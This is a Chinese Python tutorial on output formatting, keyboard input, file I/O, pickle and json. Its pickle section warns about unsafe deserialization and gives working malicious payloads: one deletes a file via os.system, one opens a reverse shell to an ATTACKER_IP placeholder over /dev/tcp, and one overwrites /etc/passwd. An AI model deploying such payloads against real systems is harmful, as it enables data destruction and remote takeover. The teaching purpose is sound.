【python3基础教程】输入与输出

from pprint import pprint

pip install prettytable==3.10.0

from prettytable import PrettyTable#pip install prettytable==3.10.0# 创建一个 PrettyTable 对象table = PrettyTable()# 设置表头table.field_names = ["City name", "Area", "Population", "Annual Rainfall"]# 添加行table.add_row(["Adelaide", 1295, 1158259, 600.5])table.add_row(["Brisbane", 5905, 1857594, 1146.4])table.add_row(["Darwin", 112, 120900, 1714.7])# 设置列的对齐方式table.align["City name"] = "l"# 左对齐table.align["Area"] = "l"# 左对齐table.align["Population"] = "c"# 居中对齐table.align["Annual Rainfall"] = "l"# 左对齐# 打印表格print(table)

需要一个功能强大且支持自定义的表格打印库，prettytable 是一个很好的选择。

1.4、模块-tabulate

tabulate 是另一个用于美化打印表格的库，支持多种表格格式，如纯文本、HTML、Markdown 等。

pip install tabulate==0.9.0

from tabulate import tabulate# pip install tabulate==0.9.0# 定义数据data = [    ["Adelaide", 1295, 1158259, 600.5],    ["Brisbane", 5905, 1857594, 1146.4],    ["Darwin", 112, 120900, 1714.7]]# 定义表头headers = ["City name", "Area", "Population", "Annual Rainfall"]# 打印表格print(tabulate(data, headers, tablefmt="grid"))

需要一个简单易用且支持多种格式的表格打印库，tabulate 是一个不错的选择。

1.5、模块-json

json模块可以将python数据结构格式化为json字符串，输出非常清晰，适合嵌套结构

import jsondata = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345'    }}# 使用 json.dumps() 打印格式化后的 JSONjson_string = json.dumps(data, indent=4)print(json_string)data = json.loads(json_string)print(data)

1.6、模块-yml

PyYAML 是一个用于处理 YAML 格式的模块，可以将 Python 数据结构格式化为 YAML 格式，输出非常美观。

pip install pyyaml

import yamldata = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345'    }}# 使用 yaml.dump() 打印格式化后的 YAMLprint(yaml.dump(data, indent=4))# 输出结果age: 30address:city: Anytownstate: CAstreet: 123MainStzip: '12345'hobbies:-reading-traveling-cookingname: Alice

1.7、模块-textwrap

textwrap 模块用于格式化文本，特别是在处理长字符串时，可以自动换行和缩进。

import textwraptext = "This is a very long text that needs to be wrapped for better readability. It can be used to format paragraphs or any other long text."# 使用 textwrap.wrap() 格式化文本wrapped_text = textwrap.wrap(text, width=50)# 打印格式化后的文本print("\n".join(wrapped_text))# 输出结果This is averylongtextthatneedstobewrappedfor betterreadability. Itcanbeusedto formatparagraphs or any otherlongtext.

1.8、模块-rich

rich 是一个功能强大的模块，可以用于美化命令行输出，支持彩色文本、表格、树结构等。

pip install rich==13.7.0

from rich import printfrom rich.table import Table# 创建一个表格table = Table(title="User Information")# 添加列table.add_column("Name", style="cyan")table.add_column("Age", style="magenta")table.add_column("City", style="green")# 添加行table.add_row("Alice", "30", "New York")table.add_row("Bob", "25", "Los Angeles")table.add_row("Charlie", "35", "Chicago")# 打印表格print(table)# 输出结果┌─────────┬─────┬─────────────┐│Name│Age│City│├─────────┼─────┼─────────────┤│Alice│30│NewYork││Bob│25│LosAngeles││Charlie│35│Chicago│└─────────┴─────┴─────────────┘

2、读取键盘输入

2.1、input()函数

• 功能：从标准输入（通常是键盘）读取一行文本

• 语法：

  user_input = input(prompt)

• 参数

  prompt：提示信息（可选），用于提示用户输入。

示例代码：

name = input("请输入您的名字: ")print(f"您好, {name}!")

2.2、sys.stdin模块

• 功能：从标准输入读取数据，提供了更灵活的输入方式

• 常用方法：

• read()：读取所有输入直到EOF。

• readline()：读取一行输入

示例代码：

read()方法读取多行输入,读取所有输入直到EOF。EOF是输入ctrl+D或 ctrl+Z

import sysdef main():print('Please input a number:')# 读入所有标准输入数据data = sys.stdin.read()# 拆分成行lines = data.splitlines()  # 按行分割# 输出读取到的每一行for line in lines:print(f"Line: {line}")if __name__ == "__main__":main()

readline()方法进行输入验证

import systry:while True:print('Please input a number:')# 读取一行输入并尝试转换为整数line = sys.stdin.readline().strip()if not line:breaktry:num = int(line)print(f"You entered the number: {num}")exceptValueError:print("Invalid input. Please enter a valid number.")except KeyboardInterrupt:print("\nProgram terminated by user.")

• 程序会不断提示用户输入一个数字。

• sys.stdin.readline().strip()读取用户输入并去掉行末的换行符。

• 如果用户输入为空，程序会退出循环。

• 尝试将用户输入转换为整数，如果转换成功则输出该数字；如果转换失败（即输入不是有效的数字），会捕获ValueError异常并提示用户重新输入。

• 同样，用户可以通过按下Ctrl+C手动终止程序。

3、读写文件

3.1、open函数

open函数用于打开一个文件，并返回一个文件对象。文件对象提供了多种方法来读取和写入文件。

基本语法

file_object = open(file_path, mode='r', encoding=None)

• file_path：文件路径，可以是相对路径或绝对路径

• mode：文件打开模式，默认为r（只读模式）。常见的模式包括：

• 'r'：只读模式（默认）

• 'w'：写入模式，如果文件已存在则覆盖

• 'x'：独占写入模式，如果文件已存在则抛出错误

• 'a'：追加模式，写入内容会追加到文件末尾

• 't'：文本模式（默认）

• 'b'：二进制模式

• '+'：更新模式（读写）

• encoding：指定文件的编码格式，如utf-8

示例：

# 打开文件进行读取file = open('example.txt', 'r', encoding='utf-8')content = file.read()print(content)file.close()  # 关闭文件

3.2、with open语句

with open是一种更现代、更安全的文件操作方式。它会自动管理文件的打开和关闭，即使在文件操作过程中发生异常，文件也会被正确关闭。

• 自动管理文件：with open 会自动关闭文件，即使在文件操作过程中发生异常。

• 代码更简洁：减少了文件关闭的代码，使代码更加简洁易读。

基本语法

with open(file_path, mode='r', encoding=None) as file_object:# 文件操作

示例代码：

# 使用 with open 读取文件with open('example.txt', 'r', encoding='utf-8') as file:content = file.read()print(content)# 使用 with open 写入文件with open('example.txt', 'w', encoding='utf-8') as file:file.write('Hello, World!')

3.3、文件操作方法

读取文件

• read()：读取整个文件内容为一个字符串。

• readline()：读取文件的一行。

• readlines()：读取文件的所有行，返回一个列表，每行是一个元素。

示例：

# 读取整个文件with open('example.txt', 'r', encoding='utf-8') as file:content = file.read()print(content)# 逐行读取文件with open('example.txt', 'r', encoding='utf-8') as file:for line in file:print(line.strip())  # 使用 strip() 去掉行尾的换行符

写入文件

• write()：写入字符串到文件。

• writelines()：写入一个字符串列表到文件。

示例：

# 写入文件with open('example.txt', 'w', encoding='utf-8') as file:file.write('Hello, World!\n')file.write('This is another line.\n')# 写入多行lines = ['Line 1\n', 'Line 2\n', 'Line 3\n']with open('example.txt', 'w', encoding='utf-8') as file:file.writelines(lines)

3.4、文件指针操作

• tell()：返回文件指针的当前位置。

• seek(offset, whence)：移动文件指针到指定位置。

• 0（默认）：从文件开头开始计算偏移量

• 1：从当前位置开始计算偏移量

• 2：从文件末尾开始计算偏移量

• offset：偏移量

• whence：可选值：

• flush()：刷新文件缓冲区，将缓冲区的内容写入文件

• close()：关闭文件，释放系统资源

示例：

with open('example.txt', 'r', encoding='utf-8') as file:print(file.tell())  # 输出文件指针的当前位置file.seek(10)  # 移动文件指针到第10个字符print(file.read(5))  # 从当前位置读取5个字符fp = open('example.txt', 'w', encoding='utf-8')fp.write('Hello, World!')fp.flush()  # 刷新缓冲区fp.close()  # 关闭文件

3.5、总结

• open 函数：用于打开文件，返回文件对象。

• with open 语句：更安全、更简洁的文件操作方式，自动管理文件的打开和关闭。

• 文件操作方法：包括读取（read、readline、readlines）和写入（write、writelines）。

• 文件指针操作：使用 tell 和 seek 方法控制文件指针位置。

4、pickle模块

pickle是python中的一个标准模块，实现了基本的数据序列和反序列化，用于将python对象序列化为字节流，以便于存储到文件、在网络上传输或者在不同python程序之间共享数据。

基本接口：

pickle.dump(obj,file[,protocol])pickle.load(obj,file[,protocol])pickle.dumps(obj,file[,protocol])pickle.loads(obj,file[,protocol])

有了pickle对象，就能对file以读取的形式打开：

x = pickle.load(file)

注解：从file中读取一个字符串，并将它重构为原来的python对象

file：类文件对象，有read()和readline()接口。

参数讲解

对象序列化

• 它可以将各种python对象，如列表、字典、自定义类的实例等，转化为字节流。

  import pickledata = [    {"name": "Alice", "age": 25},{"name": "Bob", "age": 30}]serialized_data = pickle.dumps(data)

  这里的pickle.dumps函数将data这个python对象序列化为字节流，存储在serialized_data变量中

对象反序列化

• 可以将之前序列化得到的字节流再转换回原来的python对象

  deserialized_data = pickle.loads(serialized_data)

  这里的pickle.loads函数将字节流serialized_data反序列化为原来的python对象，deserialized_data和之前的data是相同的内容

文件操作

• 序列化文件

  with open("data.pkl","wb") as fp:pickle.dump(data,fp)

  这里pickle.dump函数是将data对象序列化后写入data.pkl的文件中

• 从文件反序列化

  with open("data.pkl","rb") as fp:loaded_data = pickle.load(fp)

  这里pickle.load函数从data.pkl文件中读取字节流并反序列化为python对象

适用场景

• python对象持久化

  当需要保存python程序中的复杂对象（如自定义的数据结构、包含多种数据类型和嵌套关系的对象）到磁盘上，以便在后续的程序运行中恢复时，pickle非常有用。例如，保存一个训练好的机器学习模型（如果模型是用python原生对象表示的），可以使用pickle将其序列化到磁盘，之后再加载进行预测等操作。

• 进程间通信

  在同一台机器上的不同python进程之间传递复杂的python对象时，可以使用pickle将对象序列化后通过管道、套接等方式传输，接收方再反序列化得到原始对象。不过要注意安全性问题，因为pickle可以执行反序列化时的代码。

局限性

• pickle产生的字节流是Python特定的，不能直接被其他语言读取，不适合跨语言的数据交换。 

• 由于pickle可以序列化几乎任何Python对象，存在一定的安全风险，如果从不可信的来源反序列化pickle数据，可能会导致代码执行任意的Python代码。

数据格式

• pickle模块处理的是字节流，不是人类可读的格式，主要用于Python内部对象的序列化和反序列化。

对象支持范围

• pickle可以处理几乎所有的Python对象，包括自定义类实例、函数等。

跨语言性

• pickle是Python特定的，只能在Python环境中使用。

安全性

• pickle存在安全风险，因为它可以执行反序列化对象中的代码。

⚠️ 安全警告pickle恶意代码演示：

1、执行系统命令

import pickleimport osclass Exploit:def __reduce__(self):# 执行系统命令（如删除文件）return (os.system, ('rm -f /tmp/important_file', ))payload = pickle.dumps(Exploit())# 受害者反序列化时触发pickle.loads(payload)

原理：

• __reduce__方法在反序列化时被调用，返回可执行对象和参数

• os.system执行任意系统命令

2、生成反向Shell

import pickleimport socketimport subprocessclass ReverseShell:def __reduce__(self):# 连接到攻击者IP:PORTreturn (subprocess.Popen,                 (('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1', ),                 {'shell': True}))payload = pickle.dumps(ReverseShell())# 替换ATTACKER_IP和ATTACKER_PORT后发送给受害者

效果：

• 受害者执行后与攻击者建立反向连接

• 攻击者获得受害者Shell控制权

3、文件覆盖攻击

import pickleclass FileOverwrite:def __reduce__(self):# 覆盖/etc/passwd（示例，实际需root权限）return (open, ('/etc/passwd', 'wb'))# 或写入恶意内容# return (open('/etc/passwd', 'wb').write, (b'malicious_content',))payload = pickle.dumps(FileOverwrite())

风险：

• 破坏系统关键文件导致服务瘫痪

• 植入后门或恶意脚本

5、json模块

json(JavaScript Object Notation)模块主要用于在python中处理JSON数据。它提供了dumps和loads方法

dumps()方法用于将python对象序列化转换为json格式的字符串。例如：

import jsondata = {'name': 'John', 'age': 30}json_string = json.dumps(data,ensure_ascii=False,indent=4)print(json_string)

• ensure_ascii=False：解决json中的中文编码

• indent=4：输出有4个缩进

• separators=(',',':')：去掉键值对之间的空格

• sort_keys=True：对键值对进行排序

loads()方法用于将json格式的字符串转换回python对象。例如：

json_string = '{"name": "John", "age": 30}'data = json.loads(json_string)print(data)

dump()方法用于将python对象序列化为JSON格式的字符串，并直接写入文件

# 写入 JSON 文件，有中文需要指定编码with open('data.json', 'w', encoding="utf-8") as fp:json.dump(data, fp, indent=4, ensure_ascii=False, sort_keys=True)

load()方法用于从文件中读取JSON格式的字符串，并将其转换为python对象

# 读取 JSON 文件，有中文需要指定编码with open('data.json', 'r', encoding="utf-8") as fp:loaded_data = json.load(fp)

适用场景

• 当需要与web服务进行数据交互时，因为JSON是一种在网络中广泛使用的数据格式，很多Web API返回的数据都是JSON格式。

• 在不同语言编写的程序之间交换数据，由于JSON格式在多种编程语言中都有很好的支持，所以很适合用于跨语言的数据传输

局限性

• 只能处理Python中的基本数据类型（如字典、列表、字符串、数字、布尔值等），对于自定义的类或复杂的Python对象（如函数等）无法直接进行序列化和反序列化。

数据格式

• json模块处理的是JSON格式的文本字符串，是一种人类可读的格式，适合在不同系统间交换数据。

对象支持范围

• json只能处理基本数据类型及其组合

跨语言性

• json是跨语言的，很多编程语言都有对JSON格式的支持。

安全性

• json相对安全，因为它只能处理基本类型。